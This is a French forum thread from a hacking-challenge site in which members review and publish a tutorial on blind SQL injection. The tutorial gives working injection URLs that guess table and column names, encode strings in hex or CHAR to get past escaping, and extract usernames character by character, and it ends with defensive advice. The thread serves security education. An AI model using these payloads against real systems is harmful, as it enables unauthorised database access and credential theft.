logo Homepage
+  NewbieContest
|-+  Général» Proposition de tutoriaux» [publié] Blind SQL injection.
Username:
Password:
Pages: [1]
  Imprimer  
Auteur Fil de discussion: [publié] Blind SQL injection.  (Lu 7608 fois)
loic71

Profil challenge

Classement : 1265/54320

Néophyte
*
Hors ligne Hors ligne
Messages: 47


Voir le profil
« le: 25 Février 2010 à 17:52:37 »

BLIND SQL INJECTION







1 - INTRODUCTION
2 - DÉFINITION
3 - DÉTECTION
4 - DE LA FAILLE A L'EXPLOIT
5 - ÉCRITURE D'EXPLOIT
6 - RÉCUPÉRATION D'INFORMATIONS
7 - CONCLUSION








1 - INTRODUCTION

Ce document a pour but de vous faire découvrir, voire apporter un support d'aide à vos injections SQL "à l'aveugle".

Celles-ci, peu connues des développeurs, sont des armes redoutables qui ont fait, et feront encore longtemps leurs preuves.


2 - DÉFINITION

Les injections SQL dites "blind" (à l'aveugle) sont des injections SQL particulières.

En effet, le résultat de la requête nous est inconnu... Enfin presque  

Comprenez par là, que le seul retour que l'on peut avoir, est 'vrai', ou 'faux'.
De fait, afin d'accéder à une information précise, il faut la "deviner" lettre par lettre le plus souvent. D'où l'utilisation de bots (exploits) pour faire le travail.


3 - DÉTECTION

Les failles se détectent comme pour les injections SQL classiques.
Sauf que le résultat, est l'affichage ou non d'un bloc de la page, ou le changement d'ordre des données d'un tableau, ...

Exemple :
Une agence de location immobilière présente des appartements sur son site.
Il y a une liste d'appartements, et une fiche appartement par appart'.

Afin de pouvoir récupérer en bdd les informations liées à l'appartement dont vous voulez la fiche détaillée, un identifiant de l'appartement est placé dans chaque lien.

Imaginons la fiche suivante : 'http://mon-agence.com/fiche-appart.php?id=975'

Côté serveur, si le développeur n'est pas un grand fan de sécurité, on peut avoir quelque chose comme ceci :
Code:
$query = "SELECT * FROM appartements WHERE id=".$_GET['id']
$appartement = mysql_fetch_array(mysql_query($query));

if($appartement){
    echo 'adresse :' . $appartement['adresse'];
}

Si nous modifions l'url comme ceci :  
Code:
http://mon-agence.com/fiche-appart.php?id=975 and 1=0
La requête deviendra : "SELECT * FROM appartements WHERE id=975 and 1=0".

Or 1 est différent de 0. alors même si un appartement a l'id 975, il n'y aura aucun résultat!
Donc rien ne s'affichera.

Idem pour :
Code:
http://mon-agence.com/fiche-appart.php?id=975 and 1 = (select 0)
La spécificité ici est la requête imbriquée, une requête dans une autre :
"SELECT * FROM appartements WHERE id=975 and 1 = (select 0)".

Alors que l'adresse s'affichera pour :
Code:
http://mon-agence.com/fiche-appart.php?id=975 and 1 = (select 1)

Donc, on peut remarquer, que grâce au select imbriqué, on va pouvoir poser des questions au serveur de base de données.
Et que quand nous dirons quelque chose qui est vrai (eg : 1 = 1) alors l'adresse s'affichera.
Et donc, que, si l'adresse s'affiche, ça veut dire que l'on a dit quelque chose de vrai!  

Voilà, vous avez le concept de l'injection sql en aveugle entre les mains  


4 - DE LA FAILLE A L'EXPLOIT

Bon c'est bien, j'affiche, ou je cache un bout de texte, mais moi je veux l'accès admin!

Il faudra d'abord deviner la structure de la base de données. C'est ce qu'on appelle le guessing.
On ne cherche pas directement la valeur d'un champ, puisqu'on ne connait pas le nom du champ.
Ni même le nom du champ, puisque l'on ne connait pas le nom de la table.
Nous devons y aller pas à pas :
Cherchons tout d'abord le nom de la table que nous aimerions consulter :

Typiquement, on peut essayer des requêtes comme :
Code:
http://mon-agence.com/fiche-appart.php?id=975 and EXISTS(select * from users)
http://mon-agence.com/fiche-appart.php?id=975 and EXISTS(select * from user)
http://mon-agence.com/fiche-appart.php?id=975 and EXISTS(select * from admin)
http://mon-agence.com/fiche-appart.php?id=975 and EXISTS(select * from ...)

Il y a d'autres techniques, bien plus pratiques, mais plus difficiles à mettre en place.
Nous en reparlerons à la fin de cet article.  

Avec les requêtes ci-dessus, si l'adresse s'affiche, alors la table existe...
Si vous avez une erreur type  : "Table 'users' doesn't exist" ou que la page ne s'affiche pas, c'est que la table n'existe pas.

Une fois que l'on aura trouvé la table des utilisateurs, que nous nommerons par la suite : 'utilisateur', nous devrons chercher le nom du champ!

Toujours pareil, si l'expression est vraie, l'adresse s'affichera.

Code:
http://mon-agence.com/fiche-appart.php?id=975 and EXISTS(select login from utilisateur)
http://mon-agence.com/fiche-appart.php?id=975 and EXISTS(select username from utilisateur)
http://mon-agence.com/fiche-appart.php?id=975 and EXISTS(select pseudo from utilisateur)
http://mon-agence.com/fiche-appart.php?id=975 and EXISTS(select user_name from utilisateur)

La requête avec user_name affiche l'adresse de l'appartement! chouette, j'ai mon nom de champ  
On peut passer aux choses sérieuses!

Comme il est impossible d'afficher le login d'un utilisateur directement, nous allons tenter de le deviner :

Code:
http://mon-agence.com/fiche-appart.php?id=975 and EXISTS(select * from utilisateur where user_name = 'admin')
Cette requête serait vraiment osée.
Elle ne passera en général pas, que ce soit a cause des quotes ( ' ) qui seront echappées (\') par php, ou à cause d'un login incorrect...

Pour bypasser la protection anti chaines de charactères, plusieurs possibilités s'offrent à nous.

- l'encodage en héxa : 'admin' = 0x61646d696e
- l'utilisation du couple de fonction [CONCAT] (click!) et [CHAR](click!) de mysql : 'admin' = CONCAT(CHAR(97), CHAR(100), CHAR(109), CHAR(105), CHAR(110))
Cf la table ASCII (ou avec l'aide de ce superbe outil (click!))


Ce qui peut donner quelque chose comme :
Code:
http://mon-agence.com/fiche-appart.php?id=975 and EXISTS(select * from utilisateur where user_name = 0x61646d696e)

Evidemment, pour trouver un login comme ça, il va falloir un sacré paquet de chance...
Imaginez pour un mot de passe...  

L'idée c'est de chercher lettre par lettre (c'est un peu la technique du bruteforce):
Code:
http://mon-agence.com/fiche-appart.php?id=975 and CHAR(97) = (select SUBSTR(user_name,1,1) from utilisateur limit 0,1)
http://mon-agence.com/fiche-appart.php?id=975 and CHAR(98) = (select SUBSTR(user_name,1,1) from utilisateur limit 0,1)
http://mon-agence.com/fiche-appart.php?id=975 and CHAR(99) = (select SUBSTR(user_name,1,1) from utilisateur limit 0,1)
http://mon-agence.com/fiche-appart.php?id=975 and CHAR(100) = (select SUBSTR(user_name,1,1) from utilisateur limit 0,1)
...

Notez l'introduction de "LIMIT".
Cette option permettra de récupérer seulement la 1ère ligne de la table.

Quand on a trouvé la 1ere lettre, on passe à la suivante en changeant un paramètre de la fonction SUBSTR:
Code:
http://mon-agence.com/fiche-appart.php?id=975 and CHAR(97) = (select SUBSTR(user_name,2,1) from utilisateur limit 0,1)
http://mon-agence.com/fiche-appart.php?id=975 and CHAR(98) = (select SUBSTR(user_name,2,1) from utilisateur limit 0,1)
...

Et ainsi de suite pour le mot complet...
Ensuite, pour passer au second mot, on modifie le limit : LIMIT 1,1
Pour le troisième : LIMIT 2,1
Je vous dis ce qu'il faut mettre pour le 4ème?  

Vous imaginez bien que ça peut prendre un temps fou de faire ça à la main, d'où l'intérêt des exploits!


5 - ÉCRITURE D'EXPLOIT

Un exploit, est un programme qui va s'occuper de faire ces injections pour vous.
Il va s'occuper d'automatiser la récupération d'informations.

En simple, il s'agira de le faire boucler sur chaque lettre d'un mot, afin de vérifier son existence.
Pour cela, il récupèrera la page, et vérifiera dans notre cas que l'adresse s'affiche bien.

Évidemment cela peut s'améliorer afin de limiter au maximum le nombres de requêtes (et par la même le nombre de lignes dans les logs d'apache).

Peut-être verrons-nous cela plus en détail dans un prochain tuto  


6 - RÉCUPÉRATION D'INFORMATIONS - GUESSING

Le guessing peut être facilement fait avec un exploit, en attaquant le champ table_name de la table information_schema.tables.
En effet, cette table recense toutes les tables de la base de données, leurs structures, leurs champs, ainsi que le type de données.

Pareillement, on peut trouver l'utilisateur courant (current_user) et encore nombre d'autres informations...
Cela a une importance car un utilisateur SQL 'root' a un accès à toutes les bases de données du serveur.

Ceci est vrai pour MySQL et PostgreSQL.
D'autres noms de variables sont à prévoir pour d'autres SGBD.  


7 - CONCLUSION

Cette faille est énormément répandue, elle est souvent sous-estimée par les développeurs.
Les sites qui y sont vulnérables sont de véritables invitations au take over d'un serveur.

La possibilité d'automatiser la récupération d'information sur toute une base, voir même, de récupérer toute la base est des plus graves!
En couplant un exploit générique à un scanner Metasploit, il serait possible de récupérer des quantités d'informations énormes.

Protégez vous!
Addslashes ou mysql_real_escape_string() sur les entrées alphanumériques, et intval(), sur les entrées numériques, sont d'excellents boucliers.

Nonobstant de protéger non seulement les entrées utilisateurs tels les champs de formulaires, mais aussi les cookies, et les headers.
« Dernière édition: 03 Mars 2010 à 02:52:50 par the lsd » Journalisée
s3th
Relecteur

Profil challenge

Classement : 417/54320

Membre Héroïque
*
Hors ligne Hors ligne
Messages: 645


Voir le profil WWW
« #1 le: 25 Février 2010 à 18:22:40 »

pas mal, je suis pas contre une publication
Journalisée

..\m/..  Tout n'est qu'illusion ..\m/..

http://backtrack-fr.net/

3NJ0Y et non pas enjoy comme certaine tapz
_o_
Relecteur

Profil challenge

Classement : 42/54320

Membre Héroïque
*
Hors ligne Hors ligne
Messages: 1258


Voir le profil
« #2 le: 25 Février 2010 à 18:53:58 »

Sur la forme : s/paper/article, tutorial, ou n'importe quel autre mot pourvu qu'il soit Français.

Sur le fond, pas grand chose à ajouter. Quand même, dans la dernière partie, il faudrait préciser qu'information_schema ou d'autres variables sont spécifiques à MySql (et donc, il faut trouver d'autres moyens selon le SGBD utilisé).

Enfin, pour pinailler : il peut y avoir plus simple que de chercher lettres par lettre. Notamment en utilisant des inégalités et la dichotomie.

Et merci pour cette soumission.
Journalisée

Les épreuves de hack de NC sont trop faciles ? Et pourtant ! Bienvenue dans la vraie vie : http://thedailywtf.com/Articles/So-You-Hacked-Our-Site!.aspx
loic71

Profil challenge

Classement : 1265/54320

Néophyte
*
Hors ligne Hors ligne
Messages: 47


Voir le profil
« #3 le: 25 Février 2010 à 20:56:18 »

Sur le fond, pas grand chose à ajouter. Quand même, dans la dernière partie, il faudrait préciser qu'information_schema ou d'autres variables sont spécifiques à MySql (et donc, il faut trouver d'autres moyens selon le SGBD utilisé).

Enfin, pour pinailler : il peut y avoir plus simple que de chercher lettres par lettre. Notamment en utilisant des inégalités et la dichotomie.

Bah c'est vrai que j'ai vu que information_schema était aussi sous postgre, alors j'ai admis que ça devait être un truc constant...
Mais je vais éditer ça.

Sinon pour les inégalités et la dichotomie, si tu pouvais nous en dire plus

Pour l'exploit, je pensais parler de l'optimisation du nombre de requêtes, en regardant justement les inégalités avec le code ascii...
Pour exemple, si le charmap utilisé contient 100 charactères, les ordonner par leur code ascii, puis comparer le code ascii de la première lettre avec la médiane, et couper à chaque fois en deux pour cibler beaucoup plus vite...
Journalisée
the lsd
Administrateur

Profil challenge

Classement : 190/54320

Membre Héroïque
*****
Hors ligne Hors ligne
Messages: 3096

poulping for fun & profit


Voir le profil WWW
« #4 le: 25 Février 2010 à 23:17:52 »

Les injections SQL dites "blind" (à l'aveugle) sont des injections pour lesquelles on a pas accès (c'est pas très correct en français) au retour que l'on aurait en temps normal.
Comprenez par là que le seul retour que l'on peut avoir est vrai, ou faux. (j'ai viré les deux premières virgules. Ce qui est entre virgule est censé être optionnel)

...

Code:
http://mon-agence.com/fiche-appart.php?id=975 and EXISTS(select * from utilisateur where SUBSTR(user_name,[b]2[/b],1) = CHAR(97)

Bon sur la forme, juste quelques trucs à redire. Le gras qui passe pas dans la balise code, j'aurais pas mis de titre pour l'intro (qui est un peu courte à mon goût, mais bon, c'est pas un roman non plus), quelques fautes de grammaire à corriger (j'en ai corrigé une paire dans la citation, mais j'ai pas un oeil de lynx non plus) et j'aurais pas mis les liens de la doc Mysql en brut mais avec [ url=http://je-suis-un-lien.fr ]Voici mon lien[ /url ] ou alors à la manière de Wikipédia, tout en bas dans une catégorie Liens externes.
Peut être faire une conclusion aussi (même si c'est toujours pas un roman)

Sur le fond, peut être avoir quelques exemples à propos d'information_schema et current_user (au moins des liens vers la doc Mysql), sinon rien d'autre.

En tout cas, bonne initiative, cela faisait longtemps que personne n'avait poster une proposition de tuto

Enjoy

The lsd
Journalisée

Newbie Contest Staff :
The lsd - Th3_l5D (IRC)
Statut :
Administrateur
Citation :
Cartésien désabusé : je pense, donc je suis, mais je m'en fous !
loic71

Profil challenge

Classement : 1265/54320

Néophyte
*
Hors ligne Hors ligne
Messages: 47


Voir le profil
« #5 le: 26 Février 2010 à 02:26:22 »


Corrigé!
Enfin, pour la plupart je pense.

Avec un petit bonus de mise en page...

Concernant la partie traitant du schema, et current_user, je pense l'aborder plus en détail dans un autre tuto.
Celui qui traitera des exploits.

Merci à vous!
« Dernière édition: 26 Février 2010 à 03:06:44 par loic71 » Journalisée
_o_
Relecteur

Profil challenge

Classement : 42/54320

Membre Héroïque
*
Hors ligne Hors ligne
Messages: 1258


Voir le profil
« #6 le: 26 Février 2010 à 18:30:02 »

Avec les retouches faites, je n'ai plus de remarques (je passe le coup de la jupe). Bon pour publication de mon point de vue.

Sinon pour les inégalités et la dichotomie, si tu pouvais nous en dire plus
[...]
Pour l'exploit, je pensais parler de l'optimisation du nombre de requêtes, en regardant justement les inégalités avec le code ascii...

Voilà, c'était mon idée. On doit même pouvoir le faire sur la chaîne complète d'un seul coup, mais ça demande réflexion sur la façon de déterminer la "moitié" d'une chaîne.
Journalisée

Les épreuves de hack de NC sont trop faciles ? Et pourtant ! Bienvenue dans la vraie vie : http://thedailywtf.com/Articles/So-You-Hacked-Our-Site!.aspx
loic71

Profil challenge

Classement : 1265/54320

Néophyte
*
Hors ligne Hors ligne
Messages: 47


Voir le profil
« #7 le: 26 Février 2010 à 21:10:48 »

Avec les retouches faites, je n'ai plus de remarques (je passe le coup de la jupe). Bon pour publication de mon point de vue.

Ah ouais désolé, j'étais bourré 

J'viens de virer ça.

Sinon j'ai trouvé pour la dichotomie sur tout le mot, enfin, je pense...
J'espère que tu seras là pour me dire oui dans mon prochain tuto 
Journalisée
_o_
Relecteur

Profil challenge

Classement : 42/54320

Membre Héroïque
*
Hors ligne Hors ligne
Messages: 1258


Voir le profil
« #8 le: 26 Février 2010 à 22:01:44 »

Voilà, c'était mon idée. On doit même pouvoir le faire sur la chaîne complète d'un seul coup, mais ça demande réflexion sur la façon de déterminer la "moitié" d'une chaîne.

Ouais, avec un ordre lexicographique, ça revient au même que le faire caractère par caractère... J'ai une excuse, c'est vendredi.
Journalisée

Les épreuves de hack de NC sont trop faciles ? Et pourtant ! Bienvenue dans la vraie vie : http://thedailywtf.com/Articles/So-You-Hacked-Our-Site!.aspx
s3th
Relecteur

Profil challenge

Classement : 417/54320

Membre Héroïque
*
Hors ligne Hors ligne
Messages: 645


Voir le profil WWW
« #9 le: 26 Février 2010 à 23:54:42 »

Je corrige encore 2-3 fautes d'orthographe

1 - INTRODUCTION


3 - DÉTECTION

Or 1 est différent de 0. alors même si un appartement A l'id 975, il n'y aura aucun résultat !
Donc rien ne s'affichera.


A reformuler


Et que quand nous dirons quelque chose qui est vrai (eg : 1 = 1) alors l'adresse s'affichera.
Et donc, que, si l'adresse s'affiche, ça veut dire que l'on a dit quelque chose de vrai!  


Voilà, vous avez le concept de l'injection sql EN aveugle entre les mains  


4 - DE LA FAILLE A L'EXPLOIT

Quand on a trouvé la 1ère lettre, on passe à la suivante en changeant un paramètre de la fonction SUBSTR:


5 - ÉCRITURE D'EXPLOIT


Peut-être verrons-nous ça plus en détail dans un prochain tuto  


6 - RÉCUPÉRATION D'INFORMATIONS - GUESSING

En effet, cette table recense toutes les tables de la base de données, leur structure, leurs champs, ainsi que le type de données.


J'en ai peut-être encore oublié quelques unes ...
Journalisée

..\m/..  Tout n'est qu'illusion ..\m/..

http://backtrack-fr.net/

3NJ0Y et non pas enjoy comme certaine tapz
loic71

Profil challenge

Classement : 1265/54320

Néophyte
*
Hors ligne Hors ligne
Messages: 47


Voir le profil
« #10 le: 28 Février 2010 à 01:09:06 »

corrigé

Sauf pour la fameuse phrase.
Je ne sais pas comment la tourner...

Je suis prenneur de toute proposition


_o_! bourrin avec ton lexicographique tu viens de me filer un vieux mal de crâne! 
non lié à ma cuite d'hier de surcroit

Ah nan, j'avais un algo bien plus simple en tête...
Déjà, trouver la longueur de la valeur du champ, toujours par dichotomie.

Ensuite, récupérer le champ avec toutes les lettres sous leur forme décimale ascii, avec un padding sur 3 caracteres

genre 'admin' = 97 100 109 105 110
=> 097100109105110

Et on fait la dichotomie la dessus...

Voire mieux, on met un -32 sur tous les caractères, ce qui nous permet d'avoir tous les caractères les plus usuels avec un decimal de deux chiffres.

'admin' = 65 68 77 73 78
=> 6568777378

Avec la longueur du champ, on peut même poser la limite supérieure pour la dichotomie (100^nbChars)!

Kekilendi?  






« Dernière édition: 28 Février 2010 à 01:29:17 par loic71 » Journalisée
loic71

Profil challenge

Classement : 1265/54320

Néophyte
*
Hors ligne Hors ligne
Messages: 47


Voir le profil
« #11 le: 02 Mars 2010 à 19:32:53 »

On publie? 
Journalisée
_o_
Relecteur

Profil challenge

Classement : 42/54320

Membre Héroïque
*
Hors ligne Hors ligne
Messages: 1258


Voir le profil
« #12 le: 02 Mars 2010 à 20:01:57 »

On publie? 

Ouais, vu que plus aucun relecteur ne se manifeste.
La procédure, c'est que tu dois republier à l'identique ton tuto dans les propositions. Un modéro se charge du reste.
Journalisée

Les épreuves de hack de NC sont trop faciles ? Et pourtant ! Bienvenue dans la vraie vie : http://thedailywtf.com/Articles/So-You-Hacked-Our-Site!.aspx
the lsd
Administrateur

Profil challenge

Classement : 190/54320

Membre Héroïque
*****
Hors ligne Hors ligne
Messages: 3096

poulping for fun & profit


Voir le profil WWW
« #13 le: 03 Mars 2010 à 02:52:18 »

C'est fait. J'ai également édité le titre pour rajouter [Publié]

Enjoy

The lsd
Journalisée

Newbie Contest Staff :
The lsd - Th3_l5D (IRC)
Statut :
Administrateur
Citation :
Cartésien désabusé : je pense, donc je suis, mais je m'en fous !
Pages: [1]
  Imprimer  
 
Aller à: